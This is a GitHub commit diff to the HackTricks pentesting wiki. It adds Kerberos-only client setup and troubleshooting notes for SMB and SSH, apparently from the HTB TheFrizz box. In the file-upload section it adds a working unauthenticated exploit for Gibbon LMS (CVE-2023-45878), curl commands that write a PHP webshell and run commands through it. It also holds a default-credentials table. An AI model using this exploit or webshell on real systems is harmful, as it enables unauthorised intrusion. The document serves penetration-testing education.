Skip to content

Commit 8f2203f

Browse files
authored
Merge pull request #1348 from HackTricks-wiki/update_HTB__TheFrizz_20250827_141120
HTB TheFrizz
2 parents ed0b944 + 8a3b5c4 commit 8f2203f

4 files changed

Lines changed: 162 additions & 15 deletions

File tree

src/network-services-pentesting/pentesting-kerberos-88/README.md

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,53 @@ PORT STATE SERVICE
1919

2020
### **To learn how to abuse Kerberos you should read the post about** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
2121

22+
## Kerberos-only environments: client prep and troubleshooting
23+
24+
When NTLM is disabled on domain services (SMB/WinRM/etc.), you must authenticate with Kerberos. Common pitfalls and a working workflow:
25+
26+
- Time synchronization is mandatory. If your host clock is skewed by more than a few minutes you will see `KRB_AP_ERR_SKEW` and all Kerberos auth will fail. Sync against the DC:
27+
28+
```bash
29+
# quick one-shot sync (requires sudo)
30+
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
31+
```
32+
33+
- Generate a valid krb5.conf for the target realm/domain. `netexec` (CME fork) can output one for you while testing SMB:
34+
35+
```bash
36+
# Generate krb5.conf and install it
37+
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
38+
sudo cp krb5.conf /etc/krb5.conf
39+
```
40+
41+
- Obtain a TGT and verify the ccache:
42+
43+
```bash
44+
kinit <user>
45+
klist
46+
```
47+
48+
- Use Kerberos with SMB tooling (no passwords sent, uses your ccache):
49+
50+
```bash
51+
# netexec / CME
52+
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
53+
# impacket examples also support -k / --no-pass to use the ccache
54+
smbclient --kerberos //<dc.fqdn>/IPC$
55+
```
56+
57+
- GSSAPI SSH single sign-on (OpenSSH to Windows OpenSSH server):
58+
59+
```bash
60+
# Ensure krb5.conf is correct and you have a TGT (kinit)
61+
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
62+
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
63+
```
64+
65+
Tips:
66+
- Ensure your `/etc/hosts` resolves the exact FQDN you will SSH/SMB to, and that it comes before any bare domain entries if you are overriding DNS. SPN mismatches break GSSAPI.
67+
- If NTLM is disabled on SMB you may see `STATUS_NOT_SUPPORTED` with NTLM attempts; add `-k` to force Kerberos.
68+
2269
## More
2370

2471
### Shodan
@@ -36,6 +83,13 @@ https://adsecurity.org/?p=541
3683

3784
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
3885

86+
## References
87+
88+
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
89+
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
90+
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
91+
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
92+
3993
## HackTricks Automatic Commands
4094

4195
```

src/network-services-pentesting/pentesting-smb/README.md

Lines changed: 26 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -269,8 +269,8 @@ done
269269
examples
270270

271271
```bash
272-
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
273-
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
272+
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
273+
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
274274
```
275275

276276
### **Enumerate shares from Windows / without third-party tools**
@@ -402,6 +402,22 @@ smbclient --kerberos //ws01win10.domain.com/C$
402402
rpcclient -k ws01win10.domain.com
403403
```
404404

405+
In Kerberos-only environments (NTLM disabled), NTLM attempts against SMB may return `STATUS_NOT_SUPPORTED`. Fix common Kerberos issues and force Kerberos auth:
406+
407+
```bash
408+
# sync clock to avoid KRB_AP_ERR_SKEW
409+
sudo ntpdate <dc.fqdn>
410+
411+
# use Kerberos with tooling (reads your TGT from ccache)
412+
netexec smb <dc.fqdn> -k
413+
```
414+
415+
For a complete client setup (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) see:
416+
417+
{{#ref}}
418+
../pentesting-kerberos-88/README.md
419+
{{#endref}}
420+
405421
## **Execute Commands**
406422

407423
### **crackmapexec**
@@ -560,8 +576,8 @@ Entry_1:
560576
561577
With Creds
562578
smbmap -H {IP} -u {Username} -p {Password}
563-
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
564-
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
579+
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
580+
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
565581
crackmapexec smb {IP} -u {Username} -p {Password} --shares
566582
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
567583
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@@ -597,5 +613,10 @@ Entry_6:
597613
598614
```
599615

600-
{{#include ../../banners/hacktricks-training.md}}
616+
## References
617+
618+
- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
619+
- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
620+
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
601621

622+
{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-ssh.md

Lines changed: 28 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -144,18 +144,39 @@ Some systems have known flaws in the random seed used to generate cryptographic
144144

145145
You should look here in order to search for valid keys for the victim machine.
146146

147-
### Kerberos
147+
### Kerberos / GSSAPI SSO
148148

149-
**crackmapexec** using the `ssh` protocol can use the option `--kerberos` to **authenticate via kerberos**.\
150-
For more info run `crackmapexec ssh --help`.
149+
If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.
150+
151+
Workflow from a Linux attacker host:
152+
153+
```bash
154+
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
155+
sudo ntpdate <dc.fqdn>
156+
157+
# 2) Generate a krb5.conf for the target realm (optional, but handy)
158+
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
159+
sudo cp krb5.conf /etc/krb5.conf
160+
161+
# 3) Obtain a TGT for the user
162+
kinit <user>
163+
klist
164+
165+
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
166+
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
167+
```
168+
169+
Notes:
170+
- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.
171+
- `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth.
151172

152173
## Default Credentials
153174

154175
| **Vendor** | **Usernames** | **Passwords** |
155176
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
156177
| APC | apc, device | apc |
157178
| Brocade | admin | admin123, password, brocade, fibranne |
158-
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
179+
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
159180
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
160181
| D-Link | admin, user | private, admin, user |
161182
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
@@ -296,7 +317,7 @@ debug1: Next authentication method: password
296317

297318
Review the SSH server configuration is necessary to check that only expected\
298319
methods are authorized. Using the verbose mode on the client can help to see\
299-
the effectiveness of the configuration.
320+
the effectiveness of the configuration.
300321

301322
### Config files
302323

@@ -377,6 +398,8 @@ The common lesson is that any deviation from the RFC-mandated state transitions
377398
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
378399
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
379400
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
401+
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
402+
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
380403

381404
## HackTricks Automatic Commands
382405

src/pentesting-web/file-upload/README.md

Lines changed: 54 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -115,8 +115,9 @@ Mitigations:
115115
- **Possible Information disclosure**:
116116
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
117117
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
118-
3. Uploading a file with **".”, "..”, or "…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/” directory, the ".” filename will create a file called "uploads” in the "/www/” directory.
119-
4. Upload a file that may not be deleted easily such as **"…:.jpg”** in **NTFS**. (Windows)
118+
3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called
119+
uploads” in the "/www/" directory.
120+
4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows)
120121
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
121122
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
122123
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
@@ -132,7 +133,7 @@ The `.inc` extension is sometimes used for php files that are only used to **imp
132133

133134
## **Jetty RCE**
134135

135-
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
136+
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
136137

137138
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
138139

@@ -166,10 +167,54 @@ The execution of the payload occurs during the parsing of the configuration file
166167

167168
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
168169

170+
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
171+
172+
Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.
173+
174+
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
175+
- Method: POST
176+
- Required params:
177+
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
178+
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
179+
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
180+
181+
Minimal PoC to write and read back a file:
182+
183+
```bash
184+
# Prepare test payload
185+
printf '0xdf was here!' | base64
186+
# => MHhkZiB3YXMgaGVyZSEK
187+
188+
# Write poc.php via unauth POST
189+
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
190+
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
191+
192+
# Verify write
193+
curl http://target/Gibbon-LMS/poc.php
194+
```
195+
196+
Drop a minimal webshell and execute commands:
197+
198+
```bash
199+
# '<?php system($_GET["cmd"]); ?>' base64
200+
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
201+
202+
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
203+
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
204+
205+
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
206+
```
207+
208+
Notes:
209+
- The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type.
210+
- Resulting code runs as the web service user (e.g., XAMPP Apache on Windows).
211+
212+
References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.
213+
169214
## **wget File Upload/SSRF Trick**
170215

171216
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
172-
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
217+
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
173218

174219
```bash
175220
#Create file and HTTP server
@@ -285,6 +330,7 @@ Below is an example of Python code used to create a malicious zip file:
285330
import zipfile
286331
from io import BytesIO
287332

333+
288334
def create_zip():
289335
f = BytesIO()
290336
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@@ -323,7 +369,7 @@ For further details **check the original post in**: [https://blog.silentsignal.e
323369

324370
```bash
325371
:set modifiable
326-
:%s/xxA/..\//g
372+
:%s/xxA/../g
327373
:x!
328374
```
329375

@@ -373,6 +419,9 @@ How to avoid file type detections by uploading a valid JSON file even if not all
373419
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
374420
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
375421
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
422+
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
423+
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
424+
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
376425
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
377426
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
378427
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)

0 commit comments

Comments
 (0)